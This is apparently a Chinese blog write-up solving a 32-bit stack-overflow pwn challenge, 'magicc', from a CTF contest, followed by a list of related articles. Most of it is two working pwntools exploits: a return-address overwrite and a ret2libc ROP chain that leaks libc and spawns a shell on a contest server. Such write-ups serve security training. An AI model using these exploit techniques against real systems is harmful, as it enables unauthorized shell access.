魔法这是比较基础的一道栈溢出;

首先看下开启的防护机制

Checksec magicc发现只有nx防护

我们载入ida发现溢出点

Buf实际溢出空间为0x16,构造exp

import time

from pwn import *

p=process('./magicc')

p.recvuntil('Choose!')

p.sendline('4')

p.recvuntil('success')

payload1='A'*22

#system=

#asd=0x804876e

#ret=0x8048770

cat=0x80485AD

#hgd=0x80485a7

#exit_addr=0x8048450

#nxaddr=p32(0x80485A7)

payload=payload1+p32(cat)

p.sendline(payload)

p.interactive()

另外是采用rop

from pwn import *

context.log_level = "debug"

context.arch = "i386"

elf = ELF("magicc")

sh = 0

lib = 0

def pwn(ip,port,debug):

global sh

global lib

if(debug == 1):

sh = process("./magicc")

else:

sh = remote(ip,port)

lib = ELF("libc6-i386_2.23-0ubuntu10_amd64.so")

catFlag = 0x08048847

offset = 22

sh.recv()

sh.sendline("4")

sh.recvuntil("You are one step short of success\n")

payload = offset * "a" + p32(elf.plt['puts']) + p32(0x08048490) + p32(elf.got['__libc_start_main'])

sh.sendline(payload)

__libc_start_main = u32(sh.recv(4))

log.success("__libc_start_main: " + hex(__libc_start_main))

libc = __libc_start_main - lib.symbols['__libc_start_main']

system = libc + lib.symbols['system']

binsh = libc + lib.search("/bin/sh\x00").next()

sh.sendline("4")

sh.recv()

sh.sendline(offset * "a" + p32(elf.plt['system']) + p32(0x08048490) + p32(binsh))

sh.interactive()

if __name__ == "__main__":

pwn("101.71.29.5",10001,0)

安恒pwn魔法的更多相关文章

  1. 安恒月赛WP

    一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...

  2. 【4.29安恒杯】writeup

    #### 安恒杯_writeup 下面为比赛中做出的题目 MISC: SHOW ME THE FLAG-by-cyyzore CRYPTO: LAZYATTACK-by-GoldsNow 这一题非常巧 ...

  3. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  4. 【转】【译】JavaScript魔法揭秘--探索当前流行框架中部分功能的处理机制

    推荐语: 今天推荐一篇华为同事的同事翻译的一篇文章,推荐的主要原因是作为一个华为员工居然晚上还能写文章,由不得小钗不佩服!!! 其中的jQuery.angular.react皆是十分优秀的框架,各有特 ...

  5. BZOJ 3343: 教主的魔法 [分块]【学习笔记】

    3343: 教主的魔法 Time Limit: 10 Sec  Memory Limit: 256 MBSubmit: 1172  Solved: 526[Submit][Status][Discus ...

  6. PHP的魔法方法__set() __get()

    php的魔法方法__set()与__get() Tags: PHP 我们先来看看官方的文档如何定义他们的: public void __set(string $name, mixed $value); ...

  7. 【BZOJ3669】[Noi2014]魔法森林 LCT

    终于不是裸的LCT了...然而一开始一眼看上去这是kruskal..不对,题目要求1->n的路径上的每个点的两个最大权值和最小,这样便可以用LCT来维护一个最小生成路(瞎编的...),先以a为关 ...

  8. python进阶(四)---需要了解的魔法方法

    以下内容,源于个人理解所得,纯属臆测,爱信不信:-D.欢迎大家留言讨论指正. 1.__new__魔法方法: 原型:__new__(cls, *args, **kwargs) 说明:__new__魔法方 ...

  9. 【英语魔法俱乐部——读书笔记】 3 高级句型-简化从句&倒装句(Reduced Clauses、Inverted Sentences) 【完结】

    [英语魔法俱乐部——读书笔记] 3 高级句型-简化从句&倒装句(Reduced Clauses.Inverted Sentences):(3.1)从属从句简化的通则.(3.2)形容词从句简化. ...

随机推荐

  1. js写评价的星星

    版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明.本文链接:https://blog.csdn.net/ouqi_qiou/article/det ...

  2. 用SC命令 添加或删除windows服务提示OpenSCManager 失败5

    在安装命令行中安装  windowsOpenSCManager 失败5  的错误,原因是当前用户的权限不足,需要做的是在注册表 HKEY_LOCAL_MACHINE\Software\Microsof ...

  3. EF6中的SQL监控

    在MVC或WEBAPI中的监控 System.Action<string> action = (string message) => { Debug.WriteLine(messag ...

  4. (3)PyCharm中Flask工程逆向生成数据库表

    一.创建数据库 在mysql数据库中创建名为"movie"的数据库. 二.安装SQLAlchemy 三.安装PyMySQL 四.创建数据模型 在app/models.py中编写数据 ...

  5. matlab学习笔记10_7数值计算类型和常用计算公式

    一起来学matlab-matlab学习笔记11 数值数据类型以及特殊函数 觉得有用的话,欢迎一起讨论相互学习~Follow Me 参考书籍 <matlab 程序设计与综合应用>张德丰等著 ...

  6. Python中解决递归限制的问题

    在做某些算法时,使用递归会出现类似下面的报错: RuntimeError: maximum recursion depth exceeded python默认的递归深度是很有限的,大概是900多的样子 ...

  7. 【翻译】Flink Table Api & SQL —Streaming 概念 ——时间属性

    本文翻译自官网: Time Attributes   https://ci.apache.org/projects/flink/flink-docs-release-1.9/dev/table/str ...

  8. NI MAX中缺少串口(转)

    Software Measurement & Automation Explorer (MAX) Driver NI-VISA     问题详述 在NI MAX中,设备和接口中的串口不可用或缺 ...

  9. [LeetCode] 247. Strobogrammatic Number II 对称数II

    A strobogrammatic number is a number that looks the same when rotated 180 degrees (looked at upside ...

  10. idea创建一个springboot项目

    第一种通过maven创建: 1.点击Create New Project 2.创建maven项目,选择jdk版本,点击next. 3.填写GroupId和ArtifactId,都是自定义的,然后点击n ...